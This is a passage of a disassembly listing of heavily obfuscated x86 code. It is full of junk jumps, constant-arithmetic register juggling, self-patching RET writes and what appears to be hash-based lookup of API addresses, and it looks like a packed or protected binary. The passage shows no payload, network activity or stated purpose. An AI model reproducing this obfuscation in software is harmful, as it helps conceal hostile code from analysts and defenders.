loc_755595:				; CODE XREF: sub_749608+7159j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------


loc_75559D:				; CODE XREF: _0z4jwtox:00752266j
		mov	eax, [esp]
		push	edx
		call	sub_750C4E
		push	1A33E839h
		jmp	loc_753D88
; ---------------------------------------------------------------------------


loc_7555B0:				; CODE XREF: _0z4jwtox:00755AC0j
		jl	loc_747EC8
		jnz	loc_7482F5
		jz	loc_7549E0
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_7555C2:				; CODE XREF: sub_746C5E:loc_755AAFj
		xor	esi, 0DD099D45h
		sub	eax, esi
		jmp	loc_74DBCB
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747968


loc_7555CF:				; CODE XREF: sub_747968+4831j
		push	364E300Dh
		pop	ecx
		xor	ecx, 0FA384BCCh
		push	offset sub_74C0C0
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_747968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C527


loc_7555E5:				; CODE XREF: sub_74C527+Aj
		push	edx
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+8+var_8]
		push	9EA01662h
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_75661F
; END OF FUNCTION CHUNK	FOR sub_74C527
; ---------------------------------------------------------------------------
		mov	ds:off_41F180, eax
		lea	eax, sub_750291
		push	offset loc_749130
		jmp	locret_74D20F
; ---------------------------------------------------------------------------


loc_75560F:				; DATA XREF: sub_745A78+E77Do
		push	ecx
		push	20836924h
		pop	ecx
		rol	ecx, 16h
		jnb	loc_74D902
; START	OF FUNCTION CHUNK FOR sub_750243


loc_75561F:				; CODE XREF: sub_750243+658Dj
		jmp	loc_753727
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_755624:				; CODE XREF: sub_747AEC:loc_74618Ej
					; sub_754C68-1839j
		jmp	loc_74F600
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CA64


loc_755629:				; CODE XREF: sub_74CA64+17F3j
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_74CA64
; ---------------------------------------------------------------------------
		not	edi
		jmp	loc_74D900
; ---------------------------------------------------------------------------


loc_755635:				; CODE XREF: _0z4jwtox:0074FBE4j
		jz	loc_7494F9
		jmp	loc_7465CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_755640:				; CODE XREF: sub_75622B:loc_74E616j
		xchg	esi, [esp+0]
		call	sub_74A3AB
		push	9B44CEF6h
		pop	eax
		xor	eax, 5AA029A9h
		add	eax, 0F2F212CEh
		jmp	loc_747F6F
; END OF FUNCTION CHUNK	FOR sub_75622B

; =============== S U B	R O U T	I N E =======================================



sub_75565F	proc near		; CODE XREF: sub_747736+F661j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00752337 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0075530F SIZE 00000005 BYTES

		push	ebx
		push	0A97813B8h
		xchg	ebp, [esp+8+var_8]
		mov	ebx, ebp
		pop	ebp
		add	ebx, 0B27FB531h
		or	ebx, 711AAB43h
		jmp	loc_75530F
sub_75565F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_75567C:				; CODE XREF: sub_746640:loc_7471EAj
		cmp	dword ptr [ebp-20h], 0
		jge	loc_74FB54
		jmp	loc_756361
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------


loc_75568B:				; CODE XREF: _0z4jwtox:00751160j
		or	esi, 0A99BB11Eh
		jg	loc_7536BA


loc_755697:				; CODE XREF: _0z4jwtox:00753615j
		rol	eax, 0Dh
		xor	eax, 5291EDF4h
		rol	eax, 16h
		jb	loc_756CA5
		cmp	ebx, eax
		jmp	loc_750C97
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529AB


loc_7556B6:				; CODE XREF: sub_756AA2:loc_74DFEEj
					; _0z4jwtox:007504ECj ...
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		js	loc_7529B3
		mov	eax, [esp-4+arg_0]
		push	esi
		jmp	loc_752BB0
; END OF FUNCTION CHUNK	FOR sub_7529AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_7556CB:				; CODE XREF: sub_756496+Cj
		or	eax, eax
		jnz	loc_74AF08
		jmp	loc_74F76B
; END OF FUNCTION CHUNK	FOR sub_756496

; =============== S U B	R O U T	I N E =======================================



sub_7556D8	proc near		; CODE XREF: _0z4jwtox:0074B452j
					; sub_74C0C0+8p

; FUNCTION CHUNK AT 00748118 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751E5A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007529F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752B24 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00753F0F SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	ecx
		push	ebx
		pushf
		push	29743Bh
		jmp	loc_7529F6
sub_7556D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_7556E9:				; CODE XREF: sub_7514AC+2BC4j
		jl	loc_749DE7
		sbb	edx, edi
		add	ebp, 0B0FCF97Eh
		mov	esi, ebp


loc_7556F9:				; CODE XREF: sub_7514AC:loc_747616j
					; _0z4jwtox:00748083j ...
		jmp	loc_7565AD
; ---------------------------------------------------------------------------


loc_7556FE:				; CODE XREF: sub_7514AC-927Bj
					; _0z4jwtox:0074AE5Cj
		pop	ecx


loc_7556FF:				; CODE XREF: _0z4jwtox:00745BEDj
		jmp	loc_74E3A2
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_755704:				; CODE XREF: sub_7457DD+C899j
		jns	loc_750040
		add	esi, eax


loc_75570C:				; CODE XREF: sub_7457DD:loc_7515CDj
		push	9753961Ch
		call	sub_750C2D
; END OF FUNCTION CHUNK	FOR sub_7457DD
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_755716:				; CODE XREF: sub_748FA4+3070j
		jmp	loc_745BB3
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_75571B:				; CODE XREF: sub_7543C5-94BAj
		jmp	loc_747DE0
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746145


loc_755720:				; CODE XREF: sub_746145+4673j
		jmp	sub_745A78
; END OF FUNCTION CHUNK	FOR sub_746145
; ---------------------------------------------------------------------------
		not	ebx
		mov	ebx, 5ECAD698h
		jmp	sub_74F7B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_755731:				; CODE XREF: sub_745C55+6CA6j
		jnp	loc_7456B7
		not	ecx
		jmp	loc_745C4D
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------


loc_75573E:				; CODE XREF: _0z4jwtox:loc_746B38j
		push	edx
		call	sub_753D0E
		mov	eax, 0B9726E5Ah
		call	sub_7560FD
; START	OF FUNCTION CHUNK FOR sub_749161


loc_75574E:				; CODE XREF: sub_749161+10j
		jmp	loc_74A1FC
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7459E9


loc_755753:				; CODE XREF: sub_7459E9+Aj
					; _0z4jwtox:007574F1j
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_7459E9
; ---------------------------------------------------------------------------

locret_755758:				; CODE XREF: _0z4jwtox:loc_74D380j
		retn
; ---------------------------------------------------------------------------


loc_755759:				; CODE XREF: _0z4jwtox:0075077Aj
		jmp	loc_74E948
; ---------------------------------------------------------------------------
		popf
		jmp	sub_74E84B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_755764:				; CODE XREF: sub_7474B9+D190j
		sbb	edx, eax
		jmp	loc_74F10A
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------


loc_75576B:				; CODE XREF: _0z4jwtox:00750084j
		xor	eax, 34EB07C7h
		or	eax, 868204ADh
		sub	eax, 9C392F3Bh
		call	sub_74A8E3


loc_755782:				; CODE XREF: _0z4jwtox:0074D6B9j
		jnp	loc_74DCEF
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_755789	proc near		; CODE XREF: sub_74F73B:loc_74CEBEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007499D5 SIZE 00000015 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	282BCFAAh
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		jmp	loc_7499D5
sub_755789	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_75579C	proc near		; DATA XREF: sub_747B31:loc_755C23o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		ror	eax, 11h
		mov	ds:dword_74B948, eax
		retn
sub_75579C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_7557AC:				; CODE XREF: sub_7491FD+Ej
		jmp	loc_746602
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_7557B1:				; CODE XREF: sub_74CBCF-493Fj
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_7557B6:				; CODE XREF: sub_747B31+BA9j
		rol	eax, 11h
		jmp	loc_751438
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------


loc_7557BE:				; DATA XREF: sub_745715+5o
		push	32484B3Ch
		pop	ecx
		add	ecx, 552F4004h
		sub	ecx, 0EEF34E1Ch
		or	ecx, 649893D2h
		sub	ecx, 2DB2ABBAh
		test	ecx, 100h
		jmp	loc_755111

; =============== S U B	R O U T	I N E =======================================



sub_7557E7	proc near		; CODE XREF: _0z4jwtox:00753FB0j
					; sub_748E1D:loc_75754Cp

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745F5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746BFE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00748BAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B974 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074C02C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D36C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D75E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074F052 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074F0C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074F5A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F996 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007502AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007509EF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00752D73 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00756581 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00756F7C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007573D4 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_756826
		push	0F8007Bh
		pop	eax
		xor	eax, 2CE49A80h
		jmp	loc_74D36C
sub_7557E7	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C4BB


loc_755806:				; CODE XREF: sub_74C4BB+Fj
		jmp	loc_74875B
; END OF FUNCTION CHUNK	FOR sub_74C4BB
; ---------------------------------------------------------------------------


loc_75580B:				; CODE XREF: _0z4jwtox:0074A87Ej
		jmp	locret_746F32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_755810:				; CODE XREF: sub_750638-A205j
		jz	loc_74D675
		and	eax, ebx


loc_755818:				; CODE XREF: sub_748B44:loc_75679Aj
		call	sub_7473E6
; END OF FUNCTION CHUNK	FOR sub_750638
; START	OF FUNCTION CHUNK FOR sub_74A821


loc_75581D:				; CODE XREF: sub_74A821-418Cj
		mov	esi, ebx
		mov	[edx], edi
		and	ecx, ebx
		and	edi, esi
		jmp	loc_74AED3
; END OF FUNCTION CHUNK	FOR sub_74A821

; =============== S U B	R O U T	I N E =======================================



sub_75582A	proc near		; DATA XREF: sub_747C22+290Ao

; FUNCTION CHUNK AT 00746FF2 SIZE 00000005 BYTES

		add	eax, ebp
		add	eax, 0F1E0B35Ch
		mov	eax, [eax]
		call	sub_753AAD
		jmp	loc_746FF2
sub_75582A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75583E:				; CODE XREF: sub_747C22:loc_747DC8j
		mov	eax, [ebp-24h]
		jmp	loc_753E27
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_747892
		jmp	loc_745EB0
; ---------------------------------------------------------------------------


loc_755855:				; CODE XREF: _0z4jwtox:00754E5Bj
		mov	eax, 9E471775h
		call	sub_746E93
		mov	ds:off_41F014, eax
		lea	eax, loc_748EB3
		mov	byte ptr [eax],	0C3h
		jmp	loc_75647A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745BF7


loc_755873:				; CODE XREF: sub_745BF7:loc_74CA77j
		call	sub_756123
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_745C07
		jmp	sub_745BF7
; END OF FUNCTION CHUNK	FOR sub_745BF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_755887:				; CODE XREF: sub_74FE55:loc_74E83Cj
		jz	loc_750861
		jmp	loc_75626A
; END OF FUNCTION CHUNK	FOR sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_755892	proc near		; DATA XREF: sub_74AD56:loc_7573C5o

; FUNCTION CHUNK AT 0074B19F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074E14C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753377 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753F00 SIZE 00000005 BYTES

		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_74B19F
		inc	dword ptr [ebp-8]


loc_7558A2:				; CODE XREF: _0z4jwtox:0074A440j
					; sub_755892:loc_753F00j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	loc_753377
sub_755892	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753B3E


loc_7558AD:				; CODE XREF: sub_753B3E:loc_7550FEj
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_74E7A6
; END OF FUNCTION CHUNK	FOR sub_753B3E

; =============== S U B	R O U T	I N E =======================================



sub_7558BD	proc near		; CODE XREF: _0z4jwtox:0074F631j
					; sub_748723+9EDFp
		xchg	esi, [esp+0]
		pop	esi
		add	ebx, eax
		call	sub_748773
		mov	[ecx], edx
		jmp	loc_745E8F
sub_7558BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7558CF:				; CODE XREF: _0z4jwtox:00750B00j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_7558D0	proc near		; CODE XREF: sub_747AEC:loc_74B0CEp

; FUNCTION CHUNK AT 00747216 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007472AF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074D954 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0075103D SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 228656DBh


loc_7558DA:				; CODE XREF: _0z4jwtox:loc_7524CBj
		xor	eax, ecx
		jmp	loc_74D954
sub_7558D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7558E1:				; CODE XREF: _0z4jwtox:0074DBABj
		jnz	loc_74551E
		or	eax, 42256C66h
		and	esi, 89938CCAh
		popf
		jmp	loc_74DED0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_7558FA:				; CODE XREF: sub_74AAC1+3CE8j
		jmp	loc_756E79
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_7558FF:				; CODE XREF: _0z4jwtox:loc_748217j
		jz	loc_756B8A
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_755905:				; CODE XREF: sub_746CC3+972j
		jmp	loc_756ACD
; END OF FUNCTION CHUNK	FOR sub_746CC3
; ---------------------------------------------------------------------------
		cmp	edi, 5D46F83Fh
		jmp	loc_756B83

; =============== S U B	R O U T	I N E =======================================



sub_755915	proc near		; CODE XREF: _0z4jwtox:0074B778j
					; _0z4jwtox:0074FDAAp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebp, [esp-4+arg_0]
		call	sub_75547D


loc_755921:				; CODE XREF: _0z4jwtox:00747C34j
		xchg	ebp, [esi]
sub_755915	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_755923	proc near		; CODE XREF: sub_7529AB+20Ap
		xchg	edx, [esp+0]
		pop	edx
		push	edi
		jmp	loc_746DA6
sub_755923	endp

; ---------------------------------------------------------------------------


loc_75592D:				; CODE XREF: _0z4jwtox:loc_7564BBj
		jz	loc_74F776
		jmp	loc_75034D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_755938:				; CODE XREF: sub_752520:loc_74FE00j
		jz	loc_7472FB
		jmp	loc_756FCB
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
		mov	ebp, [eax]
		jmp	loc_74DDFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA92


loc_75594A:				; CODE XREF: sub_74BA92:loc_749A2Fj
		add	eax, 0F6D523BEh
		mov	eax, [eax]
		mov	edx, eax
		push	edi
		call	sub_7503D8


loc_75595A:				; CODE XREF: sub_746E37+A55Cj
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_74BA92
; ---------------------------------------------------------------------------


loc_75595F:				; CODE XREF: _0z4jwtox:007507C1j
		jmp	nullsub_10

; =============== S U B	R O U T	I N E =======================================



sub_755964	proc near		; CODE XREF: _0z4jwtox:0074951Fj
					; sub_74E40A:loc_74C114p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074D6DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DC45 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41F0F8, eax
		lea	eax, sub_75100C


loc_755974:				; CODE XREF: _0z4jwtox:loc_750E16j
		jmp	loc_74D6DD
sub_755964	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_755979:				; CODE XREF: sub_75712E-10DFFj
		jge	loc_74F8BF
; END OF FUNCTION CHUNK	FOR sub_75712E
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_75597F:				; CODE XREF: sub_74BD6F-2283j
		jmp	loc_74DFBE
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
		jz	loc_75510C
		jmp	loc_7565C9
; ---------------------------------------------------------------------------


loc_75598F:				; CODE XREF: _0z4jwtox:loc_756945j
					; _0z4jwtox:00756955j
		xor	eax, 73A07F5Ah
		call	sub_746E93
		mov	ds:dword_41F034, eax
		lea	eax, nullsub_291
		jmp	loc_745AD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7559AB:				; CODE XREF: sub_74C670-1AD3j
		pop	ecx
		or	edi, 636CD05Fh
		add	edi, 0A10B323Bh
		sub	edi, 0A21FA091h
		jmp	loc_74E807
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7559C3:				; CODE XREF: sub_747C22:loc_74C019j
					; sub_747C22:loc_75249Fj
		mov	eax, [ebp-1Ch]
		push	esi
		push	0DB801F8Bh
		pop	esi
		add	esi, 0B1F4DECBh
		jmp	loc_7475F0
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_7559D8	proc near		; DATA XREF: sub_755C10-8B85o
		add	edx, 3E8772C4h
		add	edx, ebp
		add	edx, 0BE6A7CF6h
		push	offset loc_74EF7A
		jmp	nullsub_197
sub_7559D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_7559F0	proc near		; CODE XREF: sub_75299B+6p
					; _0z4jwtox:00755D7Cj

; FUNCTION CHUNK AT 007543DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754CAA SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		lea	eax, loc_7556B6
		jmp	loc_754CAA
sub_7559F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_755A00	proc near		; DATA XREF: _0z4jwtox:loc_7546E9o
		add	edx, 94619A9Ah
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_174
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_174
sub_755A00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_755A17:				; CODE XREF: _0z4jwtox:0074F2A6j
		mov	eax, [esp]
		push	edx
		jmp	loc_74F693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_755A20:				; CODE XREF: sub_755C10:loc_7566BDj
					; _0z4jwtox:007566CFj
		xor	edx, 6FB79669h
		add	edx, ebp
		add	edx, 14DD6993h
		mov	[edx], eax
		pop	edx
		jmp	loc_74EFA8
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_755A36:				; CODE XREF: sub_74BF3A:loc_754BB9j
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_75237C
		call	sub_74FA8F
		jmp	loc_74B8B0
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753538


loc_755A4C:				; CODE XREF: sub_753538+Dj
		lea	eax, sub_7562D5
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A456
; END OF FUNCTION CHUNK	FOR sub_753538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562D5


loc_755A5A:				; CODE XREF: sub_7562D5+1j
		mov	eax, [esp+0]
		push	edx
		call	sub_754E36
		mov	eax, 524E554Eh
		call	sub_746E93
		mov	ds:off_41F048, eax
		jmp	loc_753D71
; END OF FUNCTION CHUNK	FOR sub_7562D5
; ---------------------------------------------------------------------------
		adc	ebx, 53919358h
		jmp	sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_755A83:				; CODE XREF: sub_74C2C9+11j
		jz	loc_7485E0
		mov	eax, ds:dword_74B2AC
		mov	eax, [eax]
		mov	dword ptr ds:loc_74F377+1, eax
		jmp	loc_750F19
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_755A9A:				; CODE XREF: sub_75143A-B0FAj
		jg	loc_748D92
		jnb	loc_7563E2
		shl	eax, 13h


loc_755AA9:				; CODE XREF: sub_75143A:loc_7471FFj
		push	eax
		jmp	loc_749AA3
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_755AAF:				; CODE XREF: sub_746C5E+E234j
		jl	loc_7555C2
; END OF FUNCTION CHUNK	FOR sub_746C5E
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_755AB5:				; CODE XREF: sub_74C874-D7j
		jmp	loc_74E095
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
		cmp	ebx, 0FFFFC07Bh
		jmp	loc_7555B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755148


loc_755AC5:				; CODE XREF: sub_755148+1F4Bj
		sub	edi, 2A65F027h
		or	edi, 1EB924D7h
		add	edi, 0C1772314h
		xchg	edi, [esp+4+var_4]
		jmp	loc_74CF97
; END OF FUNCTION CHUNK	FOR sub_755148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_755ADF:				; CODE XREF: sub_7572F3:loc_757302j
		xor	ecx, ebp
		jmp	loc_74A398
; END OF FUNCTION CHUNK	FOR sub_7572F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_755AE7:				; CODE XREF: sub_74AE67+1Cj
		adc	edi, ebp
		add	ecx, 83E5F7C3h
		cdq
		mov	[esi], edx
		jmp	loc_74904F
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_755AF7:				; CODE XREF: sub_74946E:loc_7477EFj
		add	edx, 33E6ABBh
		push	offset loc_74D1AA
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_755B07:				; CODE XREF: sub_74FE55:loc_75086Bj
		pop	esi
		mov	eax, [eax]
		mov	al, [eax]
		jnz	loc_74A3D0
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_749083
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_755B1C:				; CODE XREF: _0z4jwtox:0075025Aj
		jnb	loc_7466C4

; =============== S U B	R O U T	I N E =======================================



sub_755B22	proc near		; CODE XREF: sub_7474B9+D4E1p

; FUNCTION CHUNK AT 00745013 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007506F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00753B9D SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		call	sub_753D0E
		mov	eax, 0E5254649h
		call	sub_746E93
		mov	ds:dword_41F0B0, eax
		jmp	loc_753B9D
sub_755B22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_755B41:				; CODE XREF: sub_753176:loc_746D99j
		jz	loc_747CF4
		jmp	loc_74BFA3
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------


loc_755B4C:				; CODE XREF: _0z4jwtox:loc_74B423j
		call	sub_74BA29
		mov	ds:dword_75161C, eax
		jmp	loc_74E190

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_755B5B	proc near		; CODE XREF: sub_7451D9j

; FUNCTION CHUNK AT 0074E181 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00753F29 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 007564C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757556 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_753F29
sub_755B5B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7553F4


loc_755B64:				; CODE XREF: sub_7553F4:loc_755402j
		xor	eax, 1EBCAD72h
		add	eax, ebp
		push	offset sub_74E6F5
		jmp	loc_749C9F
; END OF FUNCTION CHUNK	FOR sub_7553F4
; ---------------------------------------------------------------------------


loc_755B76:				; CODE XREF: _0z4jwtox:0074DCB3j
		mov	edx, ds:dword_746E84
		or	edx, edx
		jnz	loc_74BC7C
		jmp	loc_753C36
; ---------------------------------------------------------------------------


loc_755B89:				; DATA XREF: sub_755CFC-A61Fo
		or	edx, 40h
		or	eax, edx
		mov	edx, [ebp+8]
		mov	[edx-8], eax
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_755B94:				; CODE XREF: sub_74B719-5509j
					; sub_74B719-2F65j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_7450E7
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
		cmp	edx, ebp
		jmp	loc_7572B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_755BA9:				; CODE XREF: sub_750638:loc_75531Fj
		jz	loc_749596
		jmp	loc_746A39
